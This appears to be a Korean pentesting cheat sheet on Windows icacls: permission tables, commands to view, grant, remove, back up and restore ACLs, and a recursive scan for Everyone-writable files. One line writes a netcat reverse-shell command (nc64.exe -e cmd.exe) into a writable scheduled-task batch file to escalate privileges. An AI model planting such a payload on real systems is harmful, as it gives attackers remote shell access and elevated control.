`icacls`는 NTFS 파일 시스템의 권한(Access Control Entries, ACE)을 관리하는 명령어. 주로 다음을 위해 사용: - 권한 보기 - 권한 변경/추가/삭제 - 권한 백업 및 복원 # Go-to ```powershell icacls "C:\Program Files" icacls "C:\Program Files (x86)" icacls C:\ /t /c /q 2>nul | findstr /i "Everyone:(F)" icacls C:\ /t /c /q 2>nul | findstr /i "Everyone:(M)" ``` | 구성 요소 | 설명 | | ------------ | ----------------------------- | | `icacls C:\` | `C:\` 드라이브의 권한(ACL)을 조회함 | | `/t` | 하위 디렉토리와 파일까지 재귀적으로 모두 검사 | | `/c` | 오류가 나도 계속 진행 (예: 접근 권한 없는 폴더) | | `/q` | 오류 메시지를 표시하지 않음 (출력 간결화) | # 권한 보기 ```c icacls <파일명 또는 폴더명> # 예시 icacls job.bat ``` 출력 예시: ```c job.bat BUILTIN\Users:(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) ``` `job.bat BUILTIN\Users:(F)`: 실행은 관리자만 가능하지만, 내용은 일반 사용자도 수정할 수 있음. # icacls 권한 표 | 약어 | 전체 이름 | 설명 | | ------ | -------------- | ------------------- | | **F** | Full Control | 모든 권한 (아래 모든 권한 포함) | | **M** | Modify | 읽기/쓰기/삭제 가능 | | **RX** | Read & Execute | 읽기 + 실행 | | **R** | Read | 읽기만 가능 | | **W** | Write | 쓰기만 가능 | ##### 세부 권한 조합 |약어|권한 이름|설명| |---|---|---| |**D**|Delete|파일/폴더 삭제 가능| |**RC**|Read Control|권한 정보 읽기| |**WD**|Write DAC (Discretionary ACL)|파일 권한 수정 가능| |**WO**|Write Owner|파일 소유자 변경 가능| |**S**|Synchronize|스레드 동기화용 권한 (프로세스 간 동기화)| |**AS**|Access System Security|감사 설정 읽기/쓰기 가능| |**MA**|Maximum Allowed|현재 사용자에게 허용되는 최대 권한 자동 부여| |**GR**|Generic Read|읽기 권한 집합 (R, RC 포함)| |**GW**|Generic Write|쓰기 권한 집합 (W, RC 포함)| |**GE**|Generic Execute|실행 권한 집합 (RX 포함)| |**GA**|Generic All|전체 권한 집합 (Full Control)| ##### 폴더 전용 권한 |약어|설명| |---|---| |**OI**|Object Inherit → 하위 **파일**에도 권한 상속| |**CI**|Container Inherit → 하위 **폴더**에도 권한 상속| |**IO**|Inherit Only → 이 항목 **자체에는 적용되지 않고**, 하위 항목에만 적용됨| |**NP**|No Propagate → **한 단계만 상속**, 하위 폴더에서 더 이상 전파되지 않음| |**I**|Inherited → 상위 폴더로부터 **상속된 권한**임 (수동 설정 아님)| # 권한 추가/변경 ```c icacls <파일> /grant <사용자>:<권한> icacls job.bat /grant daniel:F ``` - `daniel` 사용자에게 `job.bat`에 대해 *Full Control* 권한 부여 ```powershell echo C:\tools\nc64.exe -e cmd.exe <IP> 1234 > C:\tasks\schtask.bat ``` - `schtask.bat`에 Full 액세스 있는 것 확인 후, 리버스 쉘을 받는 페이로드를 삽입 # 권한 제거 ```c icacls <파일> /remove <사용자> icacls job.bat /remove daniel ``` # 상속 해제 ```c icacls <파일> /inheritance:r ``` -> 상속 제거(`r = remove inheritance) # 권한 백업 ```powershell icacls <경로> /save aclfile.txt /t ``` # 권한 복원 ```c icacls <경로> /restore aclfile.txt ```